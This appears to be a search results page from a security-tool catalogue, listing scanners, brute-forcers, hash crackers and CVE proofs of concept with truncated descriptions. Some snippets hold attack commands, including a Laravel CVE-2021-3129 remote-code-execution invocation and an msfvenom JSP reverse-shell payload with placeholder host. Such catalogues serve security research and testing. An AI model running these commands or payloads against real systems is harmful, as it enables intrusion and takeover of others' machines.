4067 matches found
FFTStegPic
FFTStegPic A python script for digital image steganography using Fast Fourier Transform. May be useful for some steganography CTF challenges...
vulnx
VulnX Vulnx 🕷️ is An Intelligent Bot Auto Shell Injector that detects vulnerabilities in multiple types of Cms...
hashcobra
hashcobra hashcobra Hash Cracking tool. Description This tool uses a new method to crack hashes. With the help of rainbow tables concept this tool generates rainbow tables from wordlists to heavily optimize the cracking process. Usage root@kitploit: $ ./hashcobra -H --== hashcobra by sepehrdad ==...
laravel-exploits
laravel-exploits Exploit para CVE-2021-3129 Detalles: https://www.ambionics.io/blog/laravel-debug-rce Uso root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...
jwt-hack
JSON Web Token Hack Toolkit A high-performance toolkit for testing, analyzing and attacking JSON Web Tokens. Installation Cargo root@kitploit: cargo install jwt-hack Homebrew root@kitploit: brew install jwt-hack Snapcraft Ubuntu root@kitploit: sudo snap install jwt-hack From source root@kitploit:...
waldo
Waldo is a lightweight and multithreaded directory and subdomain bruteforcer implemented in Python. It can be used to locate hidden web resources and undiscovered subdomains of the specified target. Key Features Quickly and easily generate a list of all subdomains of target domain Discover hidden...
truehunter
Truehunter The goal of Truehunter is to detect encrypted containers using a fast and memory efficient approach without any external dependencies for ease of portability. It was designed to detect Truecrypt and Veracrypt containers, however it may detect any encrypted file with a 'header' not...
Fast-CVE-2022-22965
Máquina objetivo root@kitploit: docker run -itd -p 80:8080 vulfocus/spring-core-rce-2022-03-29:latest El núcleo del shell inverso se refiere a msfvenom root@kitploit: msfvenom -p java/jspshellreversetcp LHOST=xxx LPORT=xxx -f raw -o shell.jsp Después de codificar el JSP en URL, use root@kitploit:...
FrostedFastPair
Acerca de POC para la vulnerabilidad CVE-2025-36911 WhisperPair, que permite conectarse a dispositivos compatibles sin información de autenticación. Este firmware solo realiza la detección y la confirmación de la vulnerabilidad y no implementa la escucha de audio completa. Salida durante las...
fastfluxanalysis
Scripts de análisis de DNS ========== Una colección de scripts para detectar dominios Fast-Flux y dominios DGA. Se basa en la investigación realizada para la tesis de maestría. Los artículos de investigación relacionados están disponibles en las siguientes ubicaciones: ISSA 2011 ISSA 2012 Botconf...
udpx
Fast and lightweight, UDPX is a single-packet UDP scanner written in Go that supports the discovery of over 45 services with the ability to add custom ones. It is easy to use and portable, and can be run on Linux, Mac OS, and Windows. Unlike internet-wide scanners like zgrab2 and zmap, UDPX is...
CVE-2023-48223
CVE-2023-48223 PoC Confusión de Algoritmos fast-jwt Este repositorio demuestra la confusión de algoritmos JWT en fast-jwt cuando la verificación del token no bloquea los algoritmos permitidos. Configuración del Entorno Requisitos Node.js 18 o más reciente npm OpenSSL debe estar disponible en tu...
lulzbuster
Description A multithreaded, very fast and smart HTTPS directory and file bruteforcer written in C on top of libcurl. Given a target URL and a wordlist, it enumerates valid paths by firing concurrent HTTP requests and reporting back the responses that look like real hits i.e. status codes the use...
vercel-botid
Solucionador de Vercel BotID / Cabecera "X-Is-Human" modo básico Resumen Este proyecto proporciona un solucionador basado en Golang para el desafío Vercel BotID. Utiliza go-fAST para desofuscar y luego extraer todos los valores requeridos. extremadamente rápido ⭐ Muestra tu apoyo Por favor,...
naabu
Features • Installation • Usage • Running naabu • Config • NMAP integration • CDN/WAF Exclusion • Discord Naabu is a port scanning tool written in Go that allows you to enumerate valid ports for hosts in a fast and reliable manner. It is a really simple tool that does fast SYN/CONNECT/UDP scans o...
Whisper_Bully
Whisper Bully Extracción de BDADDR Bluetooth, Denegación de Servicio y Herramienta de Investigación de Secuestro © 2026 @Ymsniper — Solo para investigación de seguridad autorizada. Resumen Whisper Bully es una herramienta de investigación de seguridad Bluetooth de tres etapas que apunta a...
netmap.js
netmap.js Fast browser-based network discovery module This project is no longer maintained. Description netmap.js provides browser-based host discovery and port scanning capabilities to allow you to map website visitors' networks. It's quite fast, making use of es6-promise-pool to efficiently run...
subfinder
Fast passive subdomain enumeration tool. Features • Install • Usage • API Setup • Library • Join Discord subfinder is a subdomain discovery tool that returns valid subdomains for websites, using passive online sources. It has a simple, modular architecture and is optimized for speed. subfinder is...
masscan
MASSCAN: Mass IP port scanner This is an Internet-scale port scanner. It can scan the entire Internet in under 5 minutes, transmitting 10 million packets per second, from a single machine. Its usage parameters, output is similar to nmap, the most famous port scanner. When in doubt, try one of tho...